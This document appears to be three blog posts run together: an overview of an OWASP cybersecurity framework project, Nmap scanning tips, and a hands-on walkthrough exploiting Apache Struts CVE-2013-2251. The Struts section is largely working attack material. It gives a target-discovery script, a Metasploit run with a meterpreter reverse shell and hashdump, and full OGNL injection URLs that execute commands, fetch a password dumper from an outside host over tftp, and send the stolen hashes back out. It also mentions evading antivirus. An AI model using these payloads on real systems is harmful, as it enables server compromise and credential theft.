An Open Cyber Security Framework

By Mateo Martinez.

In this blog post we´re going to present a brief overview of the Open Cyber Security Framework Project.

There are a number of frameworks already on the market like the new NIST “Cybersecurity Framework” or “Transforming Cybersecurity using COBIT5” from ISACA and other paid or country-oriented frameworks. However there is no single open framework that governments and organizations can adopt for use as a reference model to start or improve on cybersecurity matters, and this is a real need from the market. There are many governments and organisations working on their Cybersecurity Frameworks starting all from scratch. This open framework will be created with governments and organizations around the globe creating the fact model to be used as a reference from starters to the ones improving or looking for optimized cybersecurity frameworks. The main web page of the project is www.ocsfp.org and the core framework release version 1 is expected for end of March 2014. The OWASP Open Cyber Security Framework Project's aim is to create a practical framework on Cybersecurity.

Creating, Implementing and managing a Cybersecurity Framework has become a need (or may be a must) for many governments and organizations. The Open Cybersecurity Framework Project (OCSFP) is an open project dedicated to enabling organizations to conceive or improve a Cybersecurity Framework. All of the information in OCSFP are free and open to anyone. Everyone is invited to join and collaborate in order to improve all the content that would be available worldwide. It is licensed under the Creative Commons Attribution-ShareAlike 3.0 license, so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one. OCSFP is an OWASP Project since February 2014.

The main objective of the project is to provide a practical Cybersecurity strategy with a 1-2-3 practical phases as shown in the following figure:

There´s a team of active contributors working on the core framework and there´s a very interesting roadmap of releases for this year 2014. Below is the list of open documents that are under development and will be released during the year. There´s an open mailing list to join for those interested in collaborate with OCSFP.

The OCSFP contributors are working hard on the first Framework Core release but there´s also under development open frameworks for different specific Industries like Healthcare, Government, Aeronautics, Telcos and Critical Infrastructure. The first version of all of them will be released during 2014.

Open Cybersecurity Frameworks

• Open Cybersecurity Framework Core
• Open Cybersecurity Framework Core Implementation Guidelines
• Open Cybersecurity Framework for IPv6
• Open Cybersecurity Framework for Governments
• Open Cybersecurity Framework for Enterprises
• Open Cybersecurity Framework for Critical Infrastructure
• Open Cybersecurity Framework for Aeronautics
• Open Cybersecurity Framework for Oil & Gas
• Open Cybersecurity Framework for Healthcare
• Open Cybersecurity Framework for Telcos
• Open Cybersecurity Assessment
• Open Cybersecurity Quick Self-Assessment
• Open Cybersecurity Quick Reference Guide
• Open Cybersecurity Free Tools
• Open Cybersecurity Incident Response Management Framework
• Open Cybersecurity Framework for Small Biz

For those who are just evaluating their current status on cybersecurity, there´s an quick online assessment with some simple questions about the current Information Security Programs and about the implemented technologies. With the first release of the framework core, a complete assessment will be available online with a table of recommendations for the first steps developing a cybersecurity strategy taking into account your current maturity level.

Some of the available questions in the current online draft are:

• Do you have a Data Loss Prevention Process?
• Do you have an Incident Response Program?
• Do you have a Vunerability Management Process?
• Do you train your Response Teams in Malware Analysis and Forensics?
• Do you have a NG Firewall installed?
• Do you have a dedicated IDS or IPS
• Do you have a Data Loss Prevention Solution implemented?
• Do you have a Web Proxy installed?
• Do you have full disk encryption in you laptops?
• Do yo have Host Firewall in your organization´s computers?
• Do yo have Host IPS in your organisation´s computers?
• Do you have a vulnerability scanner?
• Do you have any Log Management / SIEM solution?

When you go deeper into the framework you will notice that after the 3 phase strategy there are is a set of activities to be implemented in the cybersecurity strategy:

• Security Strategy Roadmap
• Risk Management
• Vulnerability Management
• Security Controls
• Arsenal
• Incident Response Management
• Data Loss Prevention
• Education & Training
• Business Continuity & Disaster Recovery
• Application Security
• Penetration Tests

Last but not least, the project has created a matrix mapping for the controls of SANS Top 20, NIST Cybersecurity Framework and Federal Communications Commission with OCSFP and some other well-known market frameworks are being mapped into OCSFP activities too:

The first release of the framework core will be released at the end of next month and will be available worldwide in order to improve faster on the security posture of organisations and governments.

What's Really Open? Nmap Tips for an Accurate Port List

by Josh Bealey

Anyone who has done lots of port scanning over the internet will know that Nmap often identifies certain ports as filtered. In this blog post, we'll look at alternative scans that can help truly identify the state of a particular port.

Filtered State

Before we continue, let's just hit on what filtered actually is. Nmap's man page gives us details:

Filtered means that a firewall, filter, or other network obstacle is blocking the port so that Nmap cannot tell whether it is open or closed.

And just for completeness, there is also open|filtered so let's just see that description:

Nmap reports the state combinations open|filtered and closed|filtered when it cannot determine which of the two states describe a port. The port table may also include software version details when version detection has been requested.

So let's say we've come up filtered, what can we do? Nmap has a few different types of scans and scan options that may help.

Null scan (-sN)

The Nmap Null scan (-sN) works by sending a TCP packet not having the RST, SYN or ACK bits set, which as per the TCP standard should result in a receiving packet with the RST packet set to try and reset the connection. Most firewalls will filter out these types of scans, but on occasion it can still yield results.

The format of the Null scan is:

 root@kali:~# nmap –sN –p $ports $hosts –o output.txt

FIN scan (-sF)

A similar scan to the Null scan is the FIN scan, which sets just the FIN bit in a TCP packet. Like the Null scan this should also result in a response packet with the RST bit set if sent to an open port, while a closed or filtered port should simply drop the packet.

The format of the FIN scan is:

 root@kali:~# nmap –sF –p $ports $hosts –o output.txt

Window scan (-sW)

On certain older systems, a window scan can also be used to determine if a port is open or not. The window scan works by examining the window segment of a TCP packet with the RST bit set. A window scan will consider the port as open if the window value is positive, and closed if it is negative. This scan isn’t generally reliable as most systems will simply report as closed, but as a last resort scan type it may give some direction to investigate further. If a scan shows all open ports but a few as filtered, they may actually be open.

The format of the Window scan is:

 root@kali:~# nmap –sW –p $ports $hosts –o output.txt

Timing (-T)

Another technique that can be used with Nmap is to scan very, very slowly. Using the –T parameter with Nmap, which allows you to specify the frequency with which Nmap sends packets probing for open ports. Nmap has 3 settings that are slower than just a normal scan, named paranoid, sneaky and polite. The main differences between these are the time Nmap waits between sending probes, with paranoid mode (-T0) waiting five minutes between sending each probe, and polite mode (-T2) waiting 0.4 seconds.

Depending on the amount of hosts, ports and time available, different options will be suitable. Other parameters can also be passed to Nmap relating to how long Nmap should wait for a response, or how many times it should send a packet.

Scanning 100 for 100

If I was scanning 100 hosts and checking the top 100 ports, a command like the following would be useful:

 root@kali:~# nmap –sS –T1 --max-rtt-timeout 2000ms --max-retries 3 --host-timeout 10m –top-ports=1000 –iL hosts.txt

The -–max-retries option limits the amount of retransmissions Nmap sends, the -–max-rtt-timeout option ensures Nmap won’t wait too long for a port to respond and the -–host-timeout option ensures Nmap won’t waste time on hosts that are not responding at all. In the example above I set those options to a 2 seconds timeout for each port, 3 retransmissions and to wait no more than 10 minutes per host.

Against certain firewalls and/or older types of hardware, these options or some variation can often yield an accurate open ports list. In rare cases none of these techniques will work and a syn/ack will be sent for each port, showing the port as open. In such cases more extensive manual testing to investigate the actual response being sent, and determine if there is actually a service listening or not.

NmapAutoAnalyzer

The above techniques are primarily useful when you know a host is alive and need to retrieve an accurate list of open ports. What about in a situation where you are unsure if a host is alive or not because all ports are coming back as filtered and ICMP traffic is blocked? In such cases a firewall or IPS will still generally grant “normal” access to actual open ports.

The above scan types are still useful for this purpose, as if a port is genuinely open and listening the scan will indicate as such although it may be lost in the noise of other ports being falsely reported as open. To determine which hosts are actually alive, the port scan data can be processed to show any hosts with at least one open port which would indicate the host is alive.

There is a script that is very useful for this purpose called Nmap Auto Analyzer, obtainable here. Nmap Auto Analyzer is a ruby script that will sort through Nmap files, and report a list of open ports for each host.

The format is to run Nmap Auto Analyzer is:

 root@kali:~# nmapautoanalyzer.rb –f nmapoutput.xml –r report

The report generated by Nmap Auto Analyzer will show’s hosts us up if they have at least one port open as well as showing why the port is considered open based on the TCP traffic, which can be useful when sorting through scans that included many hosts.

Attacking Struts with CVE-2013-2251

By Mike McGilvray.

Apache Struts is a free, open-source, MVC framework for creating elegant, modern Java web applications. It favors convention over configuration, is extensible using a plugin architecture, and ships with plugins to support REST, AJAX and JSON.

Would-be attackers target Apache Struts because of its popularity among web developers. A search for the term ‘struts’ on The National Vulnerability Database indicates that there were ten vulnerabilities related to Apache Struts in 2013 with seven of them rated as High. In addition, exploit code is in circulation in the wild and publicly available in attack frameworks such as Core Impact and Metasploit.

Finding Struts

You can perform initial discovery using nmap by probing the IP address space specifically for TCP port 8080 which is the default port for a variety of applications such as Apache Tomcat Manager and JBoss. Use the following command:

 root@kali:~# nmap -PN -iL iplist.txt -p 8080 -oG 8080.txt

This produces the output file 8080.txt which must then be parsed to produce a list of potential targets. Use the following command to parse:

 root@kali:~# cat 8080.txt | grep open | cut -d " " -f2 >> potential.txt

The resulting output can then be used in conjunction with the curl command to query potential targets for /struts2-blank/example/HelloWorld.action. If a 200 OK response is received then the IP address is written to an output file. I like to automate this with the following struts.sh shell script:

 #!/bin/bash
STR="200"
for i in `cat potential.txt`
do echo Testing IP Address $i -----
curl -I http:$i:8080/struts2-blank/example/HelloWorld.action -s | grep $STR
if [ $? == 0 ]
then
echo "Apache Struts found, writing IP to struts.txt…"
echo $i >> struts.txt
fi
done

In this example the target address space just has one host, 10.1.1.206 in the resulting struts.txt:

CVE-2013-2251 Pwnage

Now that we know struts is running we can begin to focus in on specific vulnerabilities. For this post we will be focusing on CVE-2013-2251.

CVE Number: CVE-2013-2251
Title: Struts2 Prefixed Parameters OGNL Injection Vulnerability
Affected Software: Apache Struts v2.0.0 - 2.3.15
Credit: Takeshi Terada of Mitsui Bussan Secure Directions, Inc.
Issue Status: v2.3.15.1 was released which fixes this vulnerability

The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with "action:" or "redirect:", followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms. In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.

Normal redirect prefix usage in JSP:

<s:form action="foo">
      ...
      <s:submit value="Register"/>
      <s:submit name="redirect:http://www.google.com/" value="Cancel"/>
    </s:form>

If the cancel button is clicked, redirection is performed.

Request URI for redirection: /foo.action?redirect:http://www.google.com/

Manual validation can be achieved by using a simple expression in the URI:

 http://10.1.1.206:8080/struts2-blank/example/X.action?action:%25{3*4}

Using Metasploit

Metasploit has an struts_default_action_mapper module which makes attacking vulnerable struts targets easy.

 Command: msf > use exploit/multi/http/struts_default_action_mapper
Command: msf > set RHOST 10.1.1.206
Command: msf > set PAYLOAD windows/meterpreter/reverse_tcp
Command: msf > exploit

Metasploit identifies the target system as Windows, sets up a local server that offers up the payload and waits for the victim to request the payload.

With a meterpreter shell, you can gain full control over the system:

 Command: meterpreter > getuid
Output: Server username: NT AUTHORITY\SYSTEM

Command: meterpreter > getprivs
Command: meterpreter > hashdump
Output: 
Jack:500:aad3b435b51404eeaad3b435b51404ee:2729b27b06359694b3da9aa658be9c1e:::

Manual Exploitation

While frameworks like Metasploit are feature rich their popularity usually means that they are more likely to be detected. Payload generators like AV0id and Veil can be utilized but again, popularity inevitably results in detection. Targeted customized manual attacks are more likely to succeed without detection.

Executing ipconfig

You can use cmd.exe on the target system to execute ipconfig and confirm that the attack permits interaction with the underlying operating system.

 http://10.1.1.206:8080/struts2-blank/example/X.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27cmd.exe%27,%27/c%20ipconfig.exe%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29} 

The above command will store the output to a file named ipconfig.action on the local system. You can read it using cat:

Uploading Files

Here I'll upload a password hash dumper , gsecdumpv2b5.exe. (note: I always modify my uploads so that it was fully undetectable (FUD) by antivirus to avoid detection - perhaps that’s another blog post!)

To upload:

 http://10.1.1.206:8080/struts2-blank/example/X.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27cmd.exe%27,%27/c%20tftp.exe%20-i%2010.1.1.111%20get%20gsecv2b5.exe%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}

Executing and Write Output

After we run gsecv2b5.exe it will output the results to a file called hashes.txt.

 http://10.1.1.206:8080/struts2-blank/example/X.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27cmd.exe%27,%27/c%20gsecv2b5.exe%20-a%20%3E%3E%20hashes.txt%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}

Downloading Files

To download hashes.txt:

 http://10.1.1.206:8080/struts2-blank/example/X.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27cmd.exe%27,%27/c%20tftp.exe%20-i%2010.1.1.111%20put%20hashes.txt%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}

And just to check it out:

 root@kali:~# cat hashes.txt
Output: Jack(current):500:aad3b435b51404eeaad3b435b51404ee:2729b27b06359694b3da9aa658be9c1e:::

You're Up!

From here you will have to use your imagination on how to expand influence through the network! If you’re interested in just how popular this attack is with Chinese hackers then just Google the phrase “struts2-blank/example/X.action?redirect”.